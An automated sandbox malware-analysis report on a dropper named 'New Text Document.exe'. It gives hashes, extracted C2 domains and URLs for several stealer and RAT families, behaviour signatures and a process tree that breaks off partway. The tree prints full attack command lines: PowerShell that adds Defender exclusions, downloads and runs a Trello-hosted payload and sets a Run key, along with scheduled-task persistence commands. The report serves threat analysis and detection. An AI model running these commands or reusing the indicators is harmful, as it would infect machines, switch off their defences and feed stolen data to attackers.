Overview

overview

10

Static

static

3

New Text Document.exe

windows7-x64

1

New Text Document.exe

windows10-1703-x64

New Text Document.exe

windows10-2004-x64

New Text Document.exe

windows11-21h2-x64

Resubmissions

09-04-2024 13:27

240409-qqa5hsbd5t 10

09-04-2024 13:27

240409-qp978abd5s 10

09-04-2024 13:27

240409-qp9lpabd4y 10

09-04-2024 13:27

240409-qp9axsgb32 10

18-11-2023 14:44

231118-r4d9rsef94 10

Analysis

  • max time kernel
    301s
  • max time network
    321s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-04-2024 13:27

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    New Text Document.exe

  • Size

    4KB

  • MD5

    a239a27c2169af388d4f5be6b52f272c

  • SHA1

    0feb9a0cd8c25f01d071e9b2cfc2ae7bd430318c

  • SHA256

    98e895f711226a32bfab152e224279d859799243845c46e550c2d32153c619fc

  • SHA512

    f30e1ff506cc4d729f7e24aa46e832938a5e21497f1f82f1b300d47f45dae7f1caef032237ef1f5ae9001195c43c0103e3ab787f9196c8397846c1dea8f351da

  • SSDEEP

    48:6r1huik0xzYGJZZJOQOulbfSqXSfbNtm:IIxcLpf6zNt

Score
10/10
asyncratdcratlummaquasarredlinesocks5systemzxwormzgrat6077866846bootkitbotnetdiscoveryevasioninfostealerpersistencepyinstallerransomwareratspywarestealerthemidatrojan

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://trello.com/1/cards/660a48f3ed8f660125aa4d31/attachments/66153d5497afda6d323e73ae/download/5885.exe

Extracted

Family

redline

Botnet

6077866846

C2

https://pastebin.com/raw/KE5Mft0T

Extracted

Family

xworm

C2

127.0.0.1:18356

t-brave.gl.at.ply.gg:18356
Attributes
  • Install_directory

    %AppData%

  • install_file

    OneDrive.exe

Extracted

Family

socks5systemz

C2

http://bdunkfv.com/search/?q=67e28dd86e0bf32a420fa9187c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978a071ea771795af8e05c645db22f31dfe339426fa11af66c152adb719a9577e55b8603e983a608ffd17c7ee929c3d

Extracted

Family

lumma

C2

https://appliedgrandyjuiw.shop/api

https://birdpenallitysydw.shop/api

https://cinemaclinicttanwk.shop/api

https://speedparticipatewo.shop/api

https://fixturewordbakewos.shop/api

https://colorprioritytubbew.shop/api

https://abuselinenaidwjuew.shop/api

https://methodgreenglassdatw.shop/api

https://enthusiasimtitleow.shop/api

https://worryfillvolcawoi.shop/api

https://dismissalcylinderhostw.shop/api

https://affordcharmcropwo.shop/api

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • DcRat 45 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Detect Xworm Payload 3 IoCs
  • Detect ZGRat V1 1 IoCs
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Process spawned unexpected child process 33 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar payload 2 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 4 IoCs
  • Socks5Systemz

    Socks5Systemz is a botnet written in C++.

    botnetsocks5systemz
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • DCRat payload 2 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
    evasion
  • Renames multiple (113) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Blocklisted process makes network request 1 IoCs
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Stops running service(s) 3 TTPs
    evasion
  • .NET Reactor proctector 1 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 23 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 64 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 5 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 19 IoCs
  • Drops file in Program Files directory 6 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 2 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 29 IoCs
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 10 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 43 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies registry class 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 32 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\New Text Document.exe
    "C:\Users\Admin\AppData\Local\Temp\New Text Document.exe"
    1⤵
    • DcRat
    • Checks computer location settings
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3408
    • C:\Users\Admin\AppData\Local\Temp\a\cccc.exe
      "C:\Users\Admin\AppData\Local\Temp\a\cccc.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3276
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell.exe -Command Add-MpPreference -ExclusionPath %localappdata%; powershell -Command Add-MpPreference -ExclusionProcess "RuntimeBroker2.exe"; powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://trello.com/1/cards/660a48f3ed8f660125aa4d31/attachments/66153d5497afda6d323e73ae/download/5885.exe', 'RuntimeBroker2.exe')"; powershell -Command New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name RuntimeBroker2 -Value %localappdata%'\RuntimeBroker2.exe'; timeout /t 1 >nul;start RuntimeBroker2.exe;
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3212
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local; powershell -Command Add-MpPreference -ExclusionProcess "RuntimeBroker2.exe"; powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://trello.com/1/cards/660a48f3ed8f660125aa4d31/attachments/66153d5497afda6d323e73ae/download/5885.exe', 'RuntimeBroker2.exe')"; powershell -Command New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name RuntimeBroker2 -Value C:\Users\Admin\AppData\Local'\RuntimeBroker2.exe'; timeout /t 1 ;start RuntimeBroker2.exe;
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3092
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionProcess RuntimeBroker2.exe
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1480
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2708
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name RuntimeBroker2 -Value C:\Users\Admin\AppData\Local\RuntimeBroker2.exe
            5⤵
            • DcRat
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4504
          • C:\Windows\SysWOW64\timeout.exe
            "C:\Windows\system32\timeout.exe" /t 1
            5⤵
            • Delays execution with timeout.exe
            PID:3664
          • C:\Users\Admin\AppData\Local\RuntimeBroker2.exe
            "C:\Users\Admin\AppData\Local\RuntimeBroker2.exe"
            5⤵
            • Executes dropped EXE
            PID:3920
    • C:\Users\Admin\AppData\Local\Temp\a\mQxBvlTA.exe
      "C:\Users\Admin\AppData\Local\Temp\a\mQxBvlTA.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of AdjustPrivilegeToken
      PID:2060
    • C:\Users\Admin\AppData\Local\Temp\a\xIPJVPDq.exe
      "C:\Users\Admin\AppData\Local\Temp\a\xIPJVPDq.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Users\Admin\AppData\Local\Temp\OTmtxexm.exe
        "C:\Users\Admin\AppData\Local\Temp\OTmtxexm.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2056
    • C:\Users\Admin\AppData\Local\Temp\a\crypted6077866846MVYQY.exe
      "C:\Users\Admin\AppData\Local\Temp\a\crypted6077866846MVYQY.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2176
    • C:\Users\Admin\AppData\Local\Temp\a\i1gcbW1E.exe
      "C:\Users\Admin\AppData\Local\Temp\a\i1gcbW1E.exe"
      2⤵
      • Executes dropped EXE
      PID:3608
    • C:\Users\Admin\AppData\Local\Temp\a\wininit.exe
      "C:\Users\Admin\AppData\Local\Temp\a\wininit.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1680
    • C:\Users\Admin\AppData\Local\Temp\a\1234.exe
      "C:\Users\Admin\AppData\Local\Temp\a\1234.exe"
      2⤵
      • Executes dropped EXE
      PID:4212
    • C:\Users\Admin\AppData\Local\Temp\a\ISetup8.exe
      "C:\Users\Admin\AppData\Local\Temp\a\ISetup8.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1944
      • C:\Users\Admin\AppData\Local\Temp\u1i0.0.exe
        "C:\Users\Admin\AppData\Local\Temp\u1i0.0.exe"
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:2780
      • C:\Users\Admin\AppData\Local\Temp\u1i0.1.exe
        "C:\Users\Admin\AppData\Local\Temp\u1i0.1.exe"
        3⤵
        • Executes dropped EXE
        • Checks SCSI registry key(s)
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3616
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1944 -s 864
        3⤵
        • Program crash
        PID:4056
    • C:\Users\Admin\AppData\Local\Temp\a\test2.exe
      "C:\Users\Admin\AppData\Local\Temp\a\test2.exe"
      2⤵
      • Executes dropped EXE
      PID:444
    • C:\Users\Admin\AppData\Local\Temp\a\1111.exe
      "C:\Users\Admin\AppData\Local\Temp\a\1111.exe"
      2⤵
      • Executes dropped EXE
      PID:3416
    • C:\Users\Admin\AppData\Local\Temp\a\ISetup2.exe
      "C:\Users\Admin\AppData\Local\Temp\a\ISetup2.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3436
      • C:\Users\Admin\AppData\Local\Temp\u2ng.0.exe
        "C:\Users\Admin\AppData\Local\Temp\u2ng.0.exe"
        3⤵
        • Executes dropped EXE
        PID:808
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 808 -s 1240
          4⤵
          • Program crash
          PID:5092
    • C:\Users\Admin\AppData\Local\Temp\a\Tester.exe
      "C:\Users\Admin\AppData\Local\Temp\a\Tester.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svchost.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1152
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4988
    • C:\Users\Admin\AppData\Local\Temp\a\svchost.exe
      "C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3748
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Public\svchost.exe"
        3⤵
        • DcRat
        • Creates scheduled task(s)
        PID:432
    • C:\Users\Admin\AppData\Local\Temp\a\555.exe
      "C:\Users\Admin\AppData\Local\Temp\a\555.exe"
      2⤵
      • Executes dropped EXE
      PID:996
    • C:\Users\Admin\AppData\Local\Temp\a\Document.exe
      "C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      PID:2924
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2852
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\gYVTyaODtj.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3500
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gYVTyaODtj" /XML "C:\Users\Admin\AppData\Local\Temp\tmpF79E.tmp"
        3⤵
        • DcRat
        • Creates scheduled task(s)
        PID:2700
      • C:\Users\Admin\AppData\Local\Temp\a\Document.exe
        "C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
        3⤵
        • Executes dropped EXE
        PID:4620
      • C:\Users\Admin\AppData\Local\Temp\a\Document.exe
        "C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1148
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "msdtc" /tr '"C:\Users\Admin\AppData\Roaming\msdtc.exe"' & exit
          4⤵
            PID:4300
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /f /sc onlogon /rl highest /tn "msdtc" /tr '"C:\Users\Admin\AppData\Roaming\msdtc.exe"'
              5⤵
              • DcRat
              • Creates scheduled task(s)
              PID:2300
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp877.tmp.bat""
            4⤵
              PID:4472
              • C:\Windows\SysWOW64\timeout.exe
                timeout 3
                5⤵
                • Delays execution with timeout.exe
                PID:4588
              • C:\Users\Admin\AppData\Roaming\msdtc.exe
                "C:\Users\Admin\AppData\Roaming\msdtc.exe"
                5⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                PID:2616
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\msdtc.exe"
                  6⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3852
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\gYVTyaODtj.exe"
                  6⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2908
                • C:\Windows\SysWOW64\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gYVTyaODtj" /XML "C:\Users\Admin\AppData\Local\Temp\tmp623F.tmp"
                  6⤵
                  • DcRat
                  • Creates scheduled task(s)
                  PID:4700
                • C:\Users\Admin\AppData\Roaming\msdtc.exe
                  "C:\Users\Admin\AppData\Roaming\msdtc.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4560
        • C:\Users\Admin\AppData\Local\Temp\a\BrawlB0t.exe
          "C:\Users\Admin\AppData\Local\Temp\a\BrawlB0t.exe"
          2⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:1468
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\BrawlB0t.exe'
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3040
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'BrawlB0t.exe'
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2616
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\OneDrive.exe'
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3220
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3656
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\Users\Admin\AppData\Roaming\OneDrive.exe"
            3⤵
            • DcRat
            • Creates scheduled task(s)
            PID:1528
        • C:\Users\Admin\AppData\Local\Temp\a\medcallaboratory5.exe
          "C:\Users\Admin\AppData\Local\Temp\a\medcallaboratory5.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:624
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Users\Admin\AppData\Local\Temp\a\medcallaboratory5.exe"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5024
        • C:\Users\Admin\AppData\Local\Temp\a\securitycheck.exe
          "C:\Users\Admin\AppData\Local\Temp\a\securitycheck.exe"
          2⤵
          • Executes dropped EXE
          PID:3436
        • C:\Users\Admin\AppData\Local\Temp\a\PrintSpoofer.exe
          "C:\Users\Admin\AppData\Local\Temp\a\PrintSpoofer.exe"
          2⤵
          • Executes dropped EXE
          PID:4692
        • C:\Users\Admin\AppData\Local\Temp\a\Adobe_update.exe
          "C:\Users\Admin\AppData\Local\Temp\a\Adobe_update.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          PID:3504
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            3⤵
            • Modifies system certificate store
            PID:1800
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 816
            3⤵
            • Program crash
            PID:3464
        • C:\Users\Admin\AppData\Local\Temp\a\Retailer_prog.exe
          "C:\Users\Admin\AppData\Local\Temp\a\Retailer_prog.exe"
          2⤵
          • Executes dropped EXE
          PID:3120
        • C:\Users\Admin\AppData\Local\Temp\a\BroomSetup.exe
          "C:\Users\Admin\AppData\Local\Temp\a\BroomSetup.exe"
          2⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:4904
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4260
        • C:\Users\Admin\AppData\Local\Temp\a\alexxxxxxxx.exe
          "C:\Users\Admin\AppData\Local\Temp\a\alexxxxxxxx.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          PID:4344
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            3⤵
              PID:4716
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              3⤵
              • Checks computer location settings
              • Suspicious use of AdjustPrivilegeToken
              PID:1292
              • C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe
                "C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:1472
              • C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe
                "C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:4672
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
                4⤵
                  PID:5524
                  • C:\Windows\SysWOW64\choice.exe
                    choice /C Y /N /D Y /T 3
                    5⤵
                      PID:5520
              • C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe
                "C:\Users\Admin\AppData\Local\Temp\a\syncUpd.exe"
                2⤵
                • Executes dropped EXE
                PID:4544
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 4544 -s 1300
                  3⤵
                  • Program crash
                  PID:1520
              • C:\Users\Admin\AppData\Local\Temp\a\Ledger-Live.exe
                "C:\Users\Admin\AppData\Local\Temp\a\Ledger-Live.exe"
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:428
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\a\Ledger-Live.exe
                  3⤵
                    PID:3196
                    • C:\Windows\SysWOW64\PING.EXE
                      ping 2.2.2.2 -n 1 -w 3000
                      4⤵
                      • Runs ping.exe
                      PID:4580
                • C:\Users\Admin\AppData\Local\Temp\a\1111.exe
                  "C:\Users\Admin\AppData\Local\Temp\a\1111.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:3388
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 3388 -s 156
                    3⤵
                    • Program crash
                    PID:280
                • C:\Users\Admin\AppData\Local\Temp\a\new1.exe
                  "C:\Users\Admin\AppData\Local\Temp\a\new1.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3772
                • C:\Users\Admin\AppData\Local\Temp\a\swiiii.exe
                  "C:\Users\Admin\AppData\Local\Temp\a\swiiii.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:400
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    3⤵
                      PID:2084
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                      3⤵
                      • Loads dropped DLL
                      • Checks processor information in registry
                      PID:1832
                  • C:\Users\Admin\AppData\Local\Temp\a\ISetup5.exe
                    "C:\Users\Admin\AppData\Local\Temp\a\ISetup5.exe"
                    2⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    PID:512
                    • C:\Users\Admin\AppData\Local\Temp\ue8.0.exe
                      "C:\Users\Admin\AppData\Local\Temp\ue8.0.exe"
                      3⤵
                      • Executes dropped EXE
                      PID:996
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 996 -s 1188
                        4⤵
                        • Program crash
                        PID:5588
                    • C:\Users\Admin\AppData\Local\Temp\ue8.1.exe
                      "C:\Users\Admin\AppData\Local\Temp\ue8.1.exe"
                      3⤵
                      • Executes dropped EXE
                      • Checks SCSI registry key(s)
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      PID:5736
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 512 -s 1532
                      3⤵
                      • Program crash
                      PID:5836
                  • C:\Users\Admin\AppData\Local\Temp\a\mstsc.exe
                    "C:\Users\Admin\AppData\Local\Temp\a\mstsc.exe"
                    2⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4544
                    • C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe
